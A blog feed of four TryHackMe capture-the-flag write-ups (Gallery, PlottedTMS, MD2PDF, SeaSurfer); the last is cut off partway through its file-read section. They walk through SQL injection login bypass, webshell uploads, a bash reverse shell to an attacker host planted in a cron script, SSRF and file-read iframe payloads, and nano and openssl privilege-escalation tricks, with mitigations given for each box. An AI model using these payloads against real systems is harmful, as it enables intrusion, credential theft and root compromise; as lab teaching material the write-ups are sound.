DEV Community: Yogeshwar Peela

TryHackMe: Gallery Writeup

Yogeshwar Peela — Mon, 12 Oct 2026 13:47:12 +0000

Summary

Gallery is a Linux box running a "Simple Image Gallery System" PHP application on port 8080. The login form is vulnerable to a classic SQL injection auth bypass, which grants admin access. The admin profile page allows an avatar upload with no file-type restriction, enabling a PHP webshell upload and remote code execution as www-data. Database credentials recovered from the source lead to the gallery_db MySQL instance, and a world-readable backup of a user's .bash_history leaks a plaintext password for the user mike. Once logged in as mike, a misconfigured sudo rule allows running /opt/rootkit.sh as root with no password; the script shells out to nano as root, which is abused as a GTFOBin to spawn a root shell.

1. Recon

rustscan -a <MACHINE_IP> --ulimit 5000

Open <MACHINE_IP>:22
Open <MACHINE_IP>:80
Open <MACHINE_IP>:8080

nmap -A <MACHINE_IP> -p 22,80,8080 -oN gallery-nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set

Port 80 is the stock Apache default page (nothing of interest). Port 8080 redirects to /gallery/login.php:

<script>location.href="http://<MACHINE_IP>/gallery/./login.php"</script>

This revealed the real document root is /gallery/ under the port-80 vhost, and the app is "Simple Image Gallery System" by oretnom23, v1.0.

2. SQL Injection Auth Bypass

The login form posts a username and password to login.php. Supplying a classic boolean-based injection in the username field bypasses authentication entirely:

Username: ' or 1=1-- -
Password: anything (1234 used here)

This logged straight in as the first user in the users table, the admin account, confirming the login query is unparameterized and string-concatenated.

3. Admin Panel -> Arbitrary File Upload -> RCE

Once authenticated as admin, the profile page at ?page=user exposes an avatar upload field with no server-side extension or content-type validation. Uploading a PHP webshell as the avatar is accepted and stored under uploads/, and is directly reachable and executable from the web root. The avatar is rendered back into the admin UI itself, so after submitting the update, simply reloading the page (or navigating back to the dashboard) is enough to load the uploaded avatar and trigger execution - no need to browse to the file path directly. A listener was staged first:

penelope listen -p 4444

Triggering the shell gave an interactive callback:

[+] [New Reverse Shell] => ip-<MACHINE_IP> <MACHINE_IP> Linux-x86_64  www-data(33)  Session ID <1>
www-data@ip-<MACHINE_IP>:/$ whoami
www-data
www-data@ip-<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Source Review and Database Access

Reading the application source confirmed the injection point and surfaced database credentials:

www-data@ip-<MACHINE_IP>:/var/www/html/gallery$ cat initialize.php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0', ... );
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");

Using these credentials directly against the local MySQL instance (binding only to 127.0.0.1:3306) worked even though the same creds failed when the shell's effective user didn't match what MySQL expected over the socket:

www-data@ip-<MACHINE_IP>:/var/www$ mysql -u gallery_user -p'passw0rd321' -h 127.0.0.1 -e "use gallery_db; select * from users;"
+----+--------------+----------+----------+----------------------------------+
| id | firstname    | lastname | username | password                         |
+----+--------------+----------+----------+----------------------------------+
|  1 | Adminstrator | Admin    | admin    | a228b12a08b6527e7978cbe5d914531c |
+----+--------------+----------+----------+----------------------------------+

This confirms the admin table entry used in the SQLi bypass, though database access doesn't directly advance privilege escalation on its own.

5. Local Enumeration and Lateral Movement to mike

www-data@ip-<MACHINE_IP>:/var$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
mike:x:1001:1001:mike:/home/mike:/bin/bash

/home/mike itself wasn't readable, but a backup copy of the home directory was world-readable:

www-data@ip-<MACHINE_IP>:/var$ ls -la /var/backups/mike_home_backup/
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history

www-data@ip-<MACHINE_IP>:/var$ cat /var/backups/mike_home_backup/.bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit

The line sudo -lb3stpassw0rdbr0xx is mike typing his sudo password straight after sudo -l without a space (the shell echoed it back into history as one token). The password is b3stpassw0rdbr0xx.

www-data@ip-<MACHINE_IP>:/var$ su mike
Password: 
mike@ip-<MACHINE_IP>:/var$ cd ~
mike@ip-<MACHINE_IP>:~$ cat user.txt
THM{REDACTED}

6. Privilege Escalation: sudo rootkit.sh -> nano GTFOBin

mike@ip-<MACHINE_IP>:~$ sudo -l
User mike may run the following commands on ip-<MACHINE_IP>:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

mike@ip-<MACHINE_IP>:~$ cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

The read branch opens /root/report.txt in nano as root. Modern nano supports executing a command and piping its output into the buffer (Ctrl+R, Ctrl+X), which runs as the nano process's user - root here:

mike@ip-<MACHINE_IP>:~$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read

Inside nano: Ctrl+R -> Ctrl+X -> Execute Command prompt -> entered:

reset; sh 1>&0 2>&0

This spawned an interactive root shell inside the nano session:

# whoami
root
# cd /root
# ls
report.txt  root.txt
# cat root.txt
THM{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	SQL injection, auth bypass	`login.php`	Unauthenticated admin login
2	Unrestricted file upload	Admin profile avatar upload (`?page=user`)	PHP webshell upload -> RCE as `www-data`
3	Hardcoded DB credentials in source	`initialize.php`	Full access to `gallery_db`
4	World-readable backup with plaintext password in shell history	`/var/backups/mike_home_backup/.bash_history`	Credential disclosure, lateral movement to `mike`
5	Overly permissive sudo rule + GTFOBin (`nano`)	`sudo -l` -> `/opt/rootkit.sh` -> `nano`	Privilege escalation to root

Attack Chain

Nmap scan (22, 80, 8080)
        │
        ▼
Simple Image Gallery System on :8080
        │
        ▼
SQL injection auth bypass (' or 1=1-- -)
        │
        ▼
Logged in as admin
        │
        ▼
Unrestricted avatar upload -> PHP webshell
        │
        ▼
RCE as www-data (reverse shell)
        │
        ▼
initialize.php leaks DB creds -> gallery_db confirmed
        │
        ▼
/var/backups/mike_home_backup/.bash_history leaks mike's password
        │
        ▼
su mike -> user.txt
        │
        ▼
sudo -l: NOPASSWD /opt/rootkit.sh
        │
        ▼
rootkit.sh -> nano /root/report.txt (as root)
        │
        ▼
nano Execute Command GTFOBin -> root shell
        │
        ▼
root.txt

Mitigations

Use parameterized queries / prepared statements for all authentication and data-access code; never concatenate user input into SQL.
Validate uploaded files server-side by content (magic bytes) and re-encode images rather than trusting the filename extension; store uploads outside the webroot or in a directory with PHP execution disabled.
Never hardcode database credentials in application source; use environment variables or a secrets manager, and keep source out of the web-accessible document root.
Ensure backup archives and directories preserve the original ownership and permission model of the files they contain; a backup should never be more permissive than the source it was taken from. Avoid persisting shell history files with credentials at all.
Scope sudo rules to the minimum necessary; avoid NOPASSWD wrappers around scripts that shell out to interactive, full-featured editors like nano, vim, less, etc. Use sudoedit or a restricted editor mode instead.

TryHackMe: PlottedTMS Writeup

Yogeshwar Peela — Mon, 12 Oct 2026 13:38:20 +0000

Summary

Plotted is a Linux CTF box hosting a PHP "Traffic Offense Management System" (TOMS) admin panel across two web services (ports 80 and 445). Initial enumeration uncovered decoy files and a leaked SQL database backup exposing weak MD5 password hashes. The web login was bypassed with a classic SQL injection auth bypass, and an arbitrary file upload in the admin panel's logo setting gave remote code execution as www-data. A misconfigured cron job combined with a writable script directory allowed privilege escalation to plot_admin, and a misconfigured doas rule for openssl allowed arbitrary file read as root, recovering the root flag.

1. Reconnaissance

Port scan with rustscan + nmap:

rustscan -a <MACHINE_IP> --ulimit 5000

Open <MACHINE_IP>:80
Open <MACHINE_IP>:22
Open <MACHINE_IP>:445

nmap -A <MACHINE_IP> -p 80,22,445 -oN plottedtms-nmap

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Both port 80 and port 445 serve HTTP (445 is not SMB here, just Apache on a non-standard port). Both returned the default Apache2 Ubuntu page on /.

2. Web Enumeration - Port 80

Directory brute force with feroxbuster turned up a directory listing and some decoy files:

feroxbuster -u http://<MACHINE_IP>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

200   GET   admin/id_rsa
301   GET   admin => admin/
200   GET   passwd
200   GET   shadow

curl http://<MACHINE_IP>/admin/id_rsa
VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE

curl http://<MACHINE_IP>/passwd
bm90IHRoaXMgZWFzeSA6RA==

curl http://<MACHINE_IP>/shadow
bm90IHRoaXMgZWFzeSA6RA==

Decoding the base64:

echo 'VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE' | base64 -d
Trust me it is not this easy..now get back to enumeration :D

echo 'bm90IHRoaXMgZWFzeSA6RA==' | base64 -d
not this easy :D

All three files were troll decoys - port 80 was a dead end.

3. Web Enumeration - Port 445

Same brute force against port 445 revealed a much larger PHP application under /management/ (an AdminLTE-based "Traffic Offense Management System"), with directory listing enabled on nearly every subdirectory:

feroxbuster -u http://<MACHINE_IP>:445/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

301   GET   management => management/
301   GET   management/classes => management/classes/
301   GET   management/database => management/database/
200   GET   management/admin/login.php
200   GET   management/index.php
...
found:299  errors:4

Notably, /management/database/ had directory listing enabled and exposed a SQL dump:

curl http://<MACHINE_IP>:445/management/database/
...
<a href="traffic_offense_db.sql">traffic_offense_db.sql</a>  10K

4. Database Dump and Credential Cracking

Pulled the dump directly:

curl http://<MACHINE_IP>:445/management/database/traffic_offense_db.sql

Key contents - users table with unsalted MD5 hashes:

INSERT INTO `users` (`id`, `firstname`, `lastname`, `username`, `password`, ...) VALUES
(1, 'Adminstrator', 'Admin', 'admin', '0192023a7bbd73250516f069df18b500', ...),
(9, 'John', 'Smith', 'jsmith', '1254737c076cf867dc53d60a0364f38e', ...);

Cracked with John (specifying the Raw-MD5 format, since the default guess was LM):

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

admin123          (?)
jsmith123         (?)

Tried both creds over SSH for admin and jsmith - both rejected (no valid shell accounts with those passwords). They also failed against the web admin login form directly - this whole hash/cracking path was a dead end, and access to the panel instead required the SQL injection below.

5. SQL Injection Auth Bypass

With the cracked credentials useless against the login form, the next step was testing the form itself, which proved vulnerable to a classic SQL injection auth bypass. Submitting:

Username: ' or 1=1-- -
Password: any value

logged in as the administrator, confirming the login query was unparameterized and concatenated user input directly into the SQL query.

![Login page with SQLi payload in username field]

This granted access to the TOMS admin dashboard at /management/admin/.

6. Arbitrary File Upload to RCE

With admin access, the Settings > System Logo upload field had no server-side file type validation. Uploading a PHP webshell (shell.php) as the "logo" and then browsing to the dashboard triggered execution of the shell, giving a command execution primitive as the web server user:

www-data@plotted:/$ whoami
www-data
www-data@plotted:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)

Enumeration of cron jobs revealed a job running every minute as plot_admin:

cat /etc/crontab
* * * * * plot_admin /var/www/scripts/backup.sh

cat /var/www/scripts/backup.sh
#!/bin/bash
/usr/bin/rsync -a /var/www/html/management /home/plot_admin/tms_backup
/bin/chmod -R 770 /home/plot_admin/tms_backup/management

The script file itself (-rwxrwxr-- plot_admin plot_admin) was not directly writable by www-data, but the containing directory was:

ls -la /var/www/scripts/
drwxr-xr-x 2 www-data www-data 4096 ... .
-rwxrwxr-- 1 plot_admin plot_admin  141 ... backup.sh

Since /var/www/scripts is owned by www-data with write permission, www-data can remove and recreate files inside it regardless of the individual file's own ownership/permissions. The original script was deleted and replaced with a reverse shell payload:

rm backup.sh
cat > backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4443 0>&1
EOF
chmod +x backup.sh

Within a minute the cron job fired as plot_admin:

penelope listen -p 4443
[+] [New Reverse Shell] => plotted <MACHINE_IP> Linux-x86_64 plot_admin(1001)

plot_admin@plotted:~$ whoami
plot_admin
plot_admin@plotted:~$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)
plot_admin@plotted:~$ cat user.txt
<REDACTED>

8. Privilege Escalation - plot_admin to root (doas + openssl)

sudo -l failed (no known password for plot_admin). Checked for exploitable SUID binaries next:

find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(plus a number of SUID binaries under /snap/core18, /snap/core20, /snap/snapd - all standard snap-packaged binaries)

Nothing exploitable on its own, but /usr/bin/doas stood out as worth checking its config - also confirmed there was no gcc/cc available for compiling exploits. Checking for doas (OpenBSD's sudo alternative) configuration revealed a passwordless rule:

cat /etc/doas.conf
permit nopass plot_admin as root cmd openssl

plot_admin can run openssl as root with no password. Running an interactive shell directly was blocked since only the openssl command is permitted:

doas -u root /bin/sh
doas: Operation not permitted

This is a known GTFOBins technique: openssl enc can be abused to read arbitrary files as root, since enc with no real encryption flags just passes the input through to the output. Used it to exfiltrate the root flag:

doas openssl enc -in /root/root.txt -out /tmp/root.txt
cat /tmp/root.txt
Congratulations on completing this room!

<REDACTED>

Hope you enjoyed the journey!

Confirmed arbitrary root-level file read more generally by dumping /etc/passwd to stdout the same way:

doas openssl enc -in /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Directory listing enabled	`/admin/` (port 80), `/management/*` (port 445)	Information disclosure
2	Exposed database backup	`/management/database/traffic_offense_db.sql`	Leaked password hashes
3	Weak/unsalted MD5 password hashing	`users` table	Hashes cracked instantly with rockyou.txt
4	SQL injection in login form	`/management/admin/login.php`	Authentication bypass as admin
5	Unrestricted file upload	Admin Settings > System Logo	Remote code execution as `www-data`
6	World/owner-writable script directory with root-owned cron job	`/var/www/scripts/` + `/etc/crontab`	Privilege escalation `www-data` -> `plot_admin`
7	Overly permissive `doas` rule for `openssl`	`/etc/doas.conf`	Arbitrary file read as root -> full root compromise

Attack Chain

Nmap scan (22/80/445)
        |
        v
feroxbuster on :80 --> decoy files (id_rsa/passwd/shadow, all troll strings)
        |
        v
feroxbuster on :445 --> /management/ app + directory listing
        |
        v
Leaked traffic_offense_db.sql --> MD5 password hashes
        |
        v
John the Ripper (rockyou.txt) --> admin123 / jsmith123 (dead end for SSH)
        |
        v
SQLi auth bypass on /management/admin/login.php ( ' or 1=1-- - )
        |
        v
Admin dashboard access
        |
        v
Arbitrary file upload via System Logo setting --> shell.php
        |
        v
RCE as www-data
        |
        v
Cron job (* * * * * plot_admin backup.sh) + writable /var/www/scripts/
        |
        v
Overwrite backup.sh with reverse shell --> shell as plot_admin
        |
        v
user.txt captured
        |
        v
/etc/doas.conf: plot_admin nopass openssl as root
        |
        v
doas openssl enc -in /root/root.txt -out /tmp/root.txt (GTFOBins)
        |
        v
root.txt captured - full compromise

Mitigations

Disable directory listing (Options -Indexes) on all web-accessible directories, and never leave database backups or source trees reachable over HTTP.
Use a strong, salted, slow hashing algorithm (bcrypt/argon2) for stored passwords instead of raw MD5.
Use parameterized queries/prepared statements everywhere user input reaches SQL, especially authentication logic.
Validate and restrict uploaded file types server-side (whitelist extensions/MIME types, store uploads outside the web root or with execution disabled) rather than trusting client-side checks or filenames.
Ensure directories containing root- or privileged-user-owned cron scripts are not writable by lower-privileged service accounts (www-data should not own the parent directory of a script executed by a cron job running as another user).
Scope doas/sudo rules to the minimum necessary; avoid granting nopass access to generic multi-purpose binaries like openssl, find, vim, etc. that are well-known GTFOBins privilege escalation vectors.

TryHackMe: MD2PDF Writeup

Yogeshwar Peela — Wed, 07 Oct 2026 11:34:47 +0000

Summary

MD2PDF is a web app that converts user-submitted Markdown into a downloadable PDF using a server-side rendering engine. The input is not sanitized, so raw HTML is rendered as-is - including tags like <iframe> that cause the renderer to make its own outbound HTTP requests. Since those requests originate from the server itself, they can be pointed at localhost, allowing an attacker to reach an /admin endpoint that was supposed to be restricted to internal/localhost traffic only. Chaining the HTML injection with this SSRF behavior let an external, unauthenticated user retrieve the contents of the restricted admin page - including the flag - entirely through the PDF export feature.

1. Reconnaissance

A port scan of the target was run first to see what was exposed.

rustscan -a machine-ip --ulimit 5000

This found three open ports, which were then fingerprinted with a full service/version scan:

nmap -sCV machine-ip -p 22,80,5000

Results:

Port	State	Service
22	open	OpenSSH 8.2p1 (Ubuntu)
80	open	HTTP - MD2PDF web app
5000	open	HTTP - MD2PDF web app (same application, different port)

Both port 80 and port 5000 host the same MD2PDF instance. This detail turns out to matter later: the app itself refers to port 5000 as its "internal" / localhost-facing port.

Browsing to the site showed a simple single-page app: a textarea for Markdown input, and a "Convert to PDF" button.

2. Confirming HTML Injection

The app is advertised as a Markdown converter, but Markdown renderers commonly pass raw HTML through untouched unless explicitly configured not to. To test this, the following was submitted in the textarea instead of plain Markdown:

<b> test </best>

(note the intentionally mismatched closing tag - this was just to confirm the parser wasn't doing anything unusual with malformed input)

Clicking Convert to PDF produced a PDF where the word "test" appeared in bold. This confirmed that:

The input is not sanitized or HTML-escaped before rendering.
The conversion pipeline interprets raw HTML tags as HTML, not as literal text.

This is the entry point for the rest of the attack: anything that can be embedded in HTML and processed by a rendering engine can potentially be injected here.

3. Identifying the Rendering Engine's Capabilities (SSRF Test)

Because this is a Markdown-to-PDF converter, there's almost always a headless browser or HTML-rendering engine working server-side (e.g., a Chromium-based renderer or similar) that loads the HTML and prints it to PDF. These engines can load external resources - including iframes, images, and stylesheets - exactly like a normal browser would. Critically, when it does so, the request comes from the server, not from the attacker's machine.

To test this, an iframe pointing to an arbitrary IP was injected:

<b>
  <iframe src="http://attacker-ip"></iframe>
</b>

Converting this to PDF caused the server to actually attempt an outbound connection to that address - confirming the renderer fetches iframe src URLs server-side. This is the hallmark of an SSRF: the application will make network requests on the attacker's behalf, to destinations the attacker chooses.

A secondary attempt was made to read a local file directly via the file:// scheme:

<iframe src="file:///etc/passwd" width="800px" height="600px"></iframe>

This did not work - the renderer either blocks the file:// protocol or doesn't support it for iframes. This ruled out direct local file disclosure, but it didn't rule out SSRF against network services, which is the direction that paid off.

4. Enumerating the Application for Internal-Only Endpoints

With confirmed HTML injection, the next question was: is there anything on this server worth reaching that we can't reach directly?

A content/directory brute-force was run against the web root:

feroxbuster -u http://machine-ip/

Notable results:

403   GET   /admin
405   GET   /convert
200   GET   /static/...   (css/js assets)

The /admin path stood out - a 403 Forbidden suggests the route exists but access is being deliberately blocked. Visiting it directly in a browser confirmed this:

Forbidden
This page can only be seen internally (localhost:5000)

This is the key finding: /admin is gated by an IP/host-based check rather than real authentication. The app only serves that page when the incoming request appears to originate from localhost on port 5000 - i.e., from the server talking to itself.

5. Chaining HTML Injection + SSRF to Reach `/admin`

Since Step 3 established that the PDF-rendering engine makes its HTTP requests from the server itself, and Step 4 established that /admin trusts any request that looks like it came from localhost:5000, the two issues chain together perfectly:

If the renderer (running on the server) requests /admin on localhost:5000, the request genuinely does originate from localhost - the "internal only" check passes, because it isn't actually checking identity, just request origin.

The following payload was submitted to the converter:

<b>
  <iframe src="http://localhost:5000/admin"></iframe>
</b>

The server-side renderer loaded this HTML, resolved the iframe's src, and - because it was making the request locally - successfully retrieved the normally-forbidden /admin page. That rendered content was then embedded into the output PDF, which was downloadable by the attacker.

6. Result

Opening the generated PDF revealed the contents of the admin page, including the challenge flag:

flag{REDACTED}

7. Root Cause Analysis

Two separate weaknesses combined to produce this vulnerability:

Unsanitized HTML input to a server-side renderer.
The application accepts raw HTML (not just Markdown) and passes it directly into a rendering engine capable of making outbound HTTP requests (via <iframe>, and likely <img>, <link>, etc.). No tag/attribute allowlist or sandboxing was applied.
Access control based on request origin instead of authentication.
/admin is protected only by a check of where the request appears to come from (localhost:5000). This is not a security boundary when something on that same host (like the PDF renderer) can be convinced to make requests on an attacker's behalf. "Is this localhost?" is not equivalent to "is this an authenticated admin?"

Together, these allow an unauthenticated external user to indirectly make authenticated-looking requests to internal-only endpoints - a textbook SSRF-to-access-control-bypass chain.

8. Remediation Recommendations

Sanitize HTML input before rendering: strip or allowlist tags (removing iframe, img, object, embed, script, and similar resource-loading/network-capable elements) if the app is genuinely only meant to accept Markdown.
Network-isolate the renderer: run the PDF rendering process in a container/namespace with no route to internal services (deny-by-default egress, or an explicit allowlist of nothing).
Never trust "localhost" as an authorization mechanism. Any service that can be tricked into making a loopback request (renderers, image proxies, webhook handlers, URL preview features, etc.) defeats this check trivially. Protect sensitive endpoints with real authentication (tokens, session checks, mTLS) instead of request-origin checks.
Disable dangerous URL schemes (file://, gopher://, etc.) in the renderer regardless of the above, as defense in depth.

Timeline Summary

Step	Action	Outcome
1	Port scan (`rustscan`, `nmap`)	Found ports 22, 80, 5000 - both 80/5000 run MD2PDF
2	Injected `<b>` tag into Markdown input	Confirmed unsanitized HTML injection
3	Injected `<iframe src="http://<external-ip>">`	Confirmed SSRF - server makes outbound requests
4	`feroxbuster` directory scan	Found `/admin` (403, "internal only")
5	Injected `<iframe src="http://localhost:5000/admin">`	Renderer fetched `/admin` locally, bypassing the restriction
6	Opened resulting PDF	Flag disclosed

9. Attack Chain

A condensed view of how each weakness fed into the next:

Unsanitized Markdown input
        │
        ▼
Raw HTML is rendered server-side (HTML Injection confirmed)
        │
        ▼
<iframe> causes the renderer to make its OWN outbound request (SSRF confirmed)
        │
        ▼
feroxbuster finds /admin -> blocked unless request looks like it's from localhost:5000
        │
        ▼
Inject <iframe src="http://localhost:5000/admin">
        │
        ▼
Renderer (running ON the server) requests /admin FROM localhost
        │
        ▼
"Internal only" check passes - request genuinely IS local
        │
        ▼
/admin content is rendered into the output PDF
        │
        ▼
Attacker downloads PDF -> reads restricted admin page -> flag disclosed

In short: HTML Injection gave control over what the renderer does -> SSRF gave the ability to make the renderer issue requests on the attacker's behalf -> a flawed "localhost-only" access check was satisfied because the request really did come from localhost (just not from a trusted party).

10. Key Vulnerabilities and Mitigations

#	Vulnerability	Why It's Exploitable	Mitigation
1	HTML Injection - the Markdown input field renders raw HTML unsanitized	Lets an attacker control exactly what the server-side renderer loads and executes, instead of only safe Markdown-derived output	Sanitize/strip input before rendering; allowlist safe Markdown-only elements and strip tags like `<iframe>`, `<script>`, `<object>`, `<embed>`, `<link>`, `<img>` with remote `src` if they aren't needed
2	Server-Side Request Forgery (SSRF) - the rendering engine fetches remote resources (e.g., iframe `src`) on the server's behalf	Allows an external attacker to make the server issue network requests to arbitrary destinations, including internal-only services	Run the renderer in a network-isolated sandbox/container with no route to internal services; enforce a strict egress allowlist (ideally none); disable dangerous schemes like `file://` and `gopher://`
3	Broken access control on `/admin` - protected only by checking if the request appears to come from `localhost:5000`	Request-origin checks don't verify who is asking, only where the request appears to originate from - trivially spoofable by anything else running on the same host (like the renderer)	Require real authentication (session tokens, credentials, mTLS) for sensitive endpoints instead of relying on source-IP/hostname checks
4	Lack of defense in depth - a single injection point led directly to full internal endpoint disclosure	No compensating controls existed between "attacker can inject HTML" and "attacker can read restricted admin data"	Layer controls: input sanitization AND network isolation AND proper authentication, so that no single flaw results in full compromise

TryHackMe - SeaSurfer writeup

Yogeshwar Peela — Wed, 07 Oct 2026 10:35:41 +0000

Executive Summary

The engagement began with a single disclosed virtual host name leaking out of an HTTP response header on the target web server. That one leak unraveled the entire box: it led to a WordPress site, an internal-only receipt-generation application, and an exposed database admin panel. The receipt app turned out to echo every form field straight into HTML that was then rendered server-side into a PDF, with no output encoding at all. That reflected injection was first used to confirm a Server-Side Request Forgery (SSRF - outbound HTTP to attacker infrastructure), and then upgraded to a Local File Inclusion (LFI) that read /etc/passwd and, critically, WordPress's wp-config.php. The leaked database credentials unlocked the previously-found Adminer panel, which exposed the WordPress users table, including a crackable password hash. The cracked password was valid for the WordPress admin panel, where the built-in Theme File Editor was used to drop a PHP payload and obtain a reverse shell as www-data. From there, a poorly-written backup cron job running tar with a wildcard in a web-writable directory was abused for classic tar wildcard code execution, escalating to the kyle user. Finally, a stray SSH agent socket left behind by another session, combined with a pam_ssh_agent_auth sudo configuration, allowed kyle to authenticate sudo using an agent-held key that was never supposed to be reachable, yielding a full root shell.

1. Reconnaissance

1.1 Port Scan

rustscan -a machine-ip --ulimit 5000
nmap -sCV machine-ip -p 22,80 -oN sea-surfer-nmap

Port	Service	Version
22	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80	http	Apache httpd 2.4.41 (Ubuntu)

1.2 VHost Disclosure via Response Header

curl to the bare IP returned the stock Apache default page, but a verbose request leaked the real backend vhost name in a custom header:

curl -iv http://machine-ip/
...
< X-Backend-Server: seasurfer.thm

Added to /etc/hosts: machine-ip seasurfer.thm.

2. Main Site Enumeration - seasurfer.thm

Browsing the vhost revealed a WordPress 5.9.3 site ("Sea Surfer - Ride the Wave!") using the twentyseventeen theme and the team-members plugin. The "About" page's staff directory (Maya Martins - Owner, Brandon Baker - Salesman, Kyle King - Sysadmin, described as "a very proficient PHP coder") provided candidate usernames later confirmed to matter - kyle turned out to be the actual low-privilege system/WordPress account.

An ffuf directory/vhost sweep against seasurfer.thm turned up an exposed Adminer 4.8.1 database-management panel:

http://seasurfer.thm/adminer/?username=&db=wp-users

At this point it couldn't be used - no valid credentials were known yet, and blank credentials returned Access denied for user '@localhost' (using password: NO). This panel was bookmarked for later.

A separate ffuf VHost-header fuzz identified a second virtual host not linked anywhere on the public site:

ffuf -u http://seasurfer.thm/ -H "HOST: FUZZ.seasurfer.thm" \
     -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
...
internal   [Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 212ms]

Added to /etc/hosts: machine-ip internal.seasurfer.thm.

3. internal.seasurfer.thm - Receipt Generator

The internal-only app is a simple "create a receipt" form (index.php) that posts to output.php, which renders invoice.php into a PDF saved under /invoices/<id>.pdf.

3.1 Root Cause - No Output Encoding

A shell obtained later in the engagement confirmed the source directly:

// invoice.php (excerpt)
Receipt ID: <?php echo $_GET['id']?>
Customer name: <?php echo $_GET['name']?>
Additional information: <?php echo $_GET['comment']?>
Payment: <?php echo $_GET['payment']?>
foreach ($_GET as $key => $value) {
    if (strpos($key, 'item') === 0)  echo "<tr class='item'><td>$value</td>";
    if (strpos($key, 'price') === 0) echo "<td>\$$value</td></tr>";
}

Every single query parameter is echoed directly into the HTML with zero sanitization or escaping, and that HTML is then rendered server-side into a PDF. This is the single root cause behind the injection, SSRF, and LFI findings below.

3.2 Confirming HTML Injection

Submitting <b>test<b/test> as the comment rendered as bold text in the generated PDF - confirming the field is interpreted as raw HTML by the PDF rendering engine, not displayed as plain text.

3.3 SSRF - Outbound Callback

HTML-to-PDF converters (wkhtmltopdf and similar) fetch any external resource referenced in rendered HTML - from the server, not the client.

Payload (submitted as the comment):

<html> <iframe src="http://attacker-ip/"></iframe> </html>

Listener on the attacker host:

python3 -m http.server 80

Result - the attacker's listener received a callback from the target:

machine-ip - - [06/Oct/2026 17:30:54] "GET / HTTP/1.1" 200 -

SSRF confirmed: the PDF renderer, running server-side, follows attacker-controlled URLs.

3.4 LFI - Reading Local Files

Several file:// payload shapes were tried without success first:

<html> <iframe src="file://etc/passwd"></iframe> </html>
<object data="file:///etc/passwd" type="text/plain"></object>
<img src="file:///etc/passwd">
<style>body { background-image: url('file:///etc/passwd'); }</style>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///etc/passwd", false);
xhr.send(null);
document.write(xhr.responseText);
</script>

None of the direct file:// payloads above actually worked, no matter the tag or the exact slash count - the renderer simply would not resolve a file:// URI placed straight into the injected HTML. The technique that actually worked was indirect: hosting a small PHP redirector on the attacker machine and pointing the injected <iframe> at that, letting the PDF renderer follow a same-origin-looking HTTP response that then 302-redirects it to a file:// URI itself.

// redirect.php (hosted on the attacker machine)
<?php
header("Location: file:///etc/passwd");
?>

php -S 0.0.0.0:80

Injection payload (submitted as the comment field):

<iframe src="http://attacker-ip/redirect.php" style="width:1000px;height:5000px;border:none;"></iframe>

The target's PDF renderer requested redirect.php over plain HTTP (confirmed server-side in the PHP dev server log: GET /redirect.php -> 302), and - unlike a file:// URI written directly into the HTML - followed that redirect itself, landing on file:///etc/passwd and rendering its full contents inline in the resulting PDF (confirming users kyle, mysql, ubuntu, www-data, etc. on the box).

